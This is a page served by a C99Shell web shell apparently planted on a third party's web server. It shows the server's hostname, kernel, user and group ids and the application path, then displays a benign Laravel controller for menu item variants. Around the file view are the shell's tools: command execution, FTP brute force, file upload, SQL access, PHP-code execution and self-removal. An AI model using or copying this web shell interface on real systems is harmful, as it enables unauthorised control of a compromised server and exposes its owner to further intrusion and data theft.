!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/Items/   drwxr-xr-x
Free 28.39 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VariantsController.php (6.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Items;

use 
App\Extras;
use 
App\Http\Controllers\Controller;
use 
App\Items;
use 
App\Models\Variants;
use 
Illuminate\Http\Request;

class 
VariantsController extends Controller
{
    private function 
getOptionsForItem(Items $item)
    {
        
$options = [];
        foreach (
$item->options->toArray() as $option) {
            
$data = [];
            foreach (
explode(','$option['options']) as $key => $value) {
                
$data[str_replace(' ''-'mb_strtolower(trim($value)))] = $value;
            }
            
array_push($options, ['id'=>$option['id'], 'name'=>$option['name'], 'data'=>$data]);
        }

        return [
            [
'ftype'=>'multiselect''name'=>'Options''id'=>'option''placeholder'=>'Enter option''required'=>false,
            
'data'=>$options, ],
        ];
    }

    private function 
getFields(Items $item)
    {
        return 
array_merge([
            [
'ftype'=>'input''type'=>'number''name'=>'Price''id'=>'price''placeholder'=>'Enter variant price''required'=>true],
        ], 
$this->getOptionsForItem($item));
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Items $item)
    {
        return 
view('items.variants.index', ['setup' => [
            
'title'=>__('Variants for')." ".$item->name,
            
'action_link'=>route('items.variants.create', ['item'=>$item->id]),
            
'action_name'=>'Add new variant',
            
'items'=>$item->uservariants()->paginate(10),
            
'item_names'=>'variants',
            
'breadcrumbs'=>[
                [
__('Menu'), '/items'],
                [
$item->name'/items/'.$item->id.'/edit'],
                [
__('Variants'), null],
            ],
        ]]);
    }

    public function 
extras(Variants $variant)
    {
        
$theExtras $variant->extras->toArray();
        
$theExtrasGlobal Extras::where('extra_for_all_variants'1)->where('item_id'$variant->item_id)->get()->toArray();

        return 
response()->json([
            
'data' => array_merge($theExtras$theExtrasGlobal),
            
'status' => true,
            
'errMsg' => '',
        ]);
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create(Items $item)
    {
        if (
$item->options->count() == 0) {
            return 
redirect()->route('items.options.create', ['item'=>$item->id])->withError(__('First, you will need to add some options. Add the item first option now'));
        }

        return 
view('general.form', ['setup' => [
            
'title'=>__('New variant for')." ".$item->name,
            
'action_link'=>route('items.variants.index', ['item'=>$item->id]),
            
'action_name'=>__('Back'),
            
'iscontent'=>true,
            
'action'=>route('items.variants.store', ['item'=>$item->id]),
            
'breadcrumbs'=>[
                [
__('Menu'), '/items'],
                [
$item->name'/items/'.$item->id.'/edit'],
                [
__('Variants'), route('items.variants.index', ['item'=>$item->id])],
                [
__('New'), null],
            ],
        ],
        
'fields'=>$this->getFields($item), ]);
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Items $itemRequest $request)
    {
        
$variant Variants::create([
            
'price'=>$request->price,
            
'item_id'=>$item->id,
            
'options'=>json_encode($request->option),
        ]);
        
$variant->save();
        
$this->doUpdateOfSystemVariants($variant->item);

        return 
redirect()->route('items.variants.index', ['item'=>$item->id])->withStatus(__('Variant has been added'));
    }

    
/**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function show($id)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit(Variants $variant)
    {
        
$fields $this->getFields($variant->item);
        
$fields[0]['value'] = $variant->price;

        
//Now fill the options
        
if (is_object(json_decode($variant->options))) {
            foreach (
json_decode($variant->optionstrue) as $key => $value) {
                foreach (
$fields[1]['data'] as &$option) {
                    if (
$option['id'].'' == $key.'') {
                        
$option['value'] = $value;
                    }
                }
            }
        }
        return 
view('general.form', ['setup' => [
            
'title'=>__('Edit variant').' #'.$variant->id,
            
'action_link'=>route('items.variants.index', ['item'=>$variant->item]),
            
'action_name'=>__('Back'),
            
'iscontent'=>true,
            
'isupdate'=>true,
            
'action'=>route('items.variants.update', ['variant'=>$variant->id]),
            
'breadcrumbs'=>[
                [
__('Menu'), '/items'],
                [
$variant->item->name'/items/'.$variant->item->id.'/edit'],
                [
__('Variants'), route('items.variants.index', ['item'=>$variant->item->id])],
                [
'#'.$variant->idnull],
            ],
        ],
        
'fields'=>$fields, ]);
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestVariants $variant)
    {
        
$variant->price $request->price;
        
$variant->options json_encode($request->option);
        
$variant->update();

        
$this->doUpdateOfSystemVariants($variant->item);

        return 
redirect()->route('items.variants.index', ['item'=>$variant->item->id])->withStatus(__('Variant has been updated'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Variants $variant)
    {
        
$item=$variant->item;
        
$variant->delete();
        
$this->doUpdateOfSystemVariants($item);

        return 
redirect()->route('items.variants.index', ['item'=>$variant->item->id])->withStatus(__('Variant has been removed'));
    }

    private function 
doUpdateOfSystemVariants(Items $item){
        if(
$item->enable_system_variants==1){
            
//Delete all system 
            
$item->systemvariants()->forceDelete();
            
$item->makeAllMissingVariants($item->price);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--